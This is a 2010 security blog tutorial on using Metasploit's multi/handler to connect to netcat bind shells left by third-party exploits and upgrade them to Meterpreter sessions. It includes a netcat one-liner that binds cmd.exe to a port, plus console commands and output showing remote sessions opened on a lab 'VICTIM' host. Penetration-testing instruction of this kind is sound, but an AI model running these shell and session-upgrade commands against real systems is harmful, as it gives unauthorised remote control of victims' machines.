SC MEDIA

LOG IN REGISTER

SecurityWeekly

Malware

Using Metasploit to control netcat and third party exploits

Mark Baggett April 25, 2010

Metasploit has A LOT of exploits, but from time to time you will very likely need to use exploits that are not part of the framework. Whether it is an exploit from www.exploit-db.com that spawns a shell or a netcat listener you can still use the framework to control the host. As long as you have a shell bound to a TCP port you can use metasploit to interact with that victim. What's more, you can upgrade that shell to a meterpreter session so you can benefit from the full power of the framework.

First, to connect to a shell bound to TCP port you will need to use the payload SHELL_BIND_TCP. This payload is significantly different from SHELL/BIND_TCP because it is a SINGLE payload rather than a STAGED payload. A staged payload is a small piece of code that allocates memory, opens network ports to communicate with the framework, downloads the remainder of the payload, then executes the rest of the payload. A staged payload is very small so it can easily fit in small buffers. It's size and limited functionality also give antivirus vendors very little to look at. SINGLE payloads on the other hand contain everything they need to execute on the victim. So, "nc -l -p 4444 -e cmd.exe" is functionally equivalent to

SINGLE_BIND_TCP payload. For example:

```
msf > set color false

color => false

msf > use multi/handler

msf exploit(handler) > set payload windows/shell_bind_tcp

payload => windows/shell_bind_tcp
msf exploit(handler) > set RHOST 192.168.100.17

RHOST => 192.168.100.17
msf exploit(handler) > exploit -z

[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.100.6:56131 -> 192.168.100.17:4444)
[*] Session 1 created in the background.
```

But, to take full advantage of the framework I want to use meterpreter. The framework can automatically take any command session and add a "METERPRETER/REVERSE_TCP" session to the host with the "SESSIONS -U" command. To use the option you will need to use "SETG" to set the LHOST and LPORT variables to point back to your host. Then use "sessions -u" to upgrade a session to meterpreter. The upgrade will leave the existing shell session in place and add a new meterpreter session. For example:

```
msf exploit(handler) > setg LHOST 192.168.100.6
LHOST => 192.168.100.6
```

```
[*] Starting the payload handler…
[*] Command Stager progress – 3.16% done (1694/53583 bytes)
[*] Command Stager progress – 6.32% done (3388/53583 bytes)
truncated
[*] Command Stager progress – 97.99% done (52506/53583 bytes)
[*] Sending stage (748032 bytes) to 192.168.100.17
[*] Command Stager progress – 100.00% done (53583/53583 bytes)
msf exploit(handler) > [*] Meterpreter session 2 opened (192.168.100.6:4444 ->
192.168.100.17:1032)

msf exploit(handler) > sessions -l

Active sessions
===============

Id Type Information Connection
— —- ——— ———-
1 shell 192.168.100.6:56131 -> 192.168.100.17:4444
2 meterpreter VICTIMAdministrator @ VICTIM 192.168.100.6:4444 ->
192.168.100.17:1032

msf exploit(handler) >
```

Now that you've got a meterpreter session type "RUN [tab] [tab] " to look at all the meterpreter script goodness at your disposal! Still confused? Here is a video demo:

Using Metasploit to Control Netcat from PaulDotCom on Vimeo.

Mark Baggett is teaching SANS 504 in Raleigh NC June 21st -26th. SIGN UP TODAY!!

Also, SANS is sponsoring a Lunch and Learn COINS event in Raleigh on May 5th where I will do a presentation on the Metasploit framework. Watch your inbox for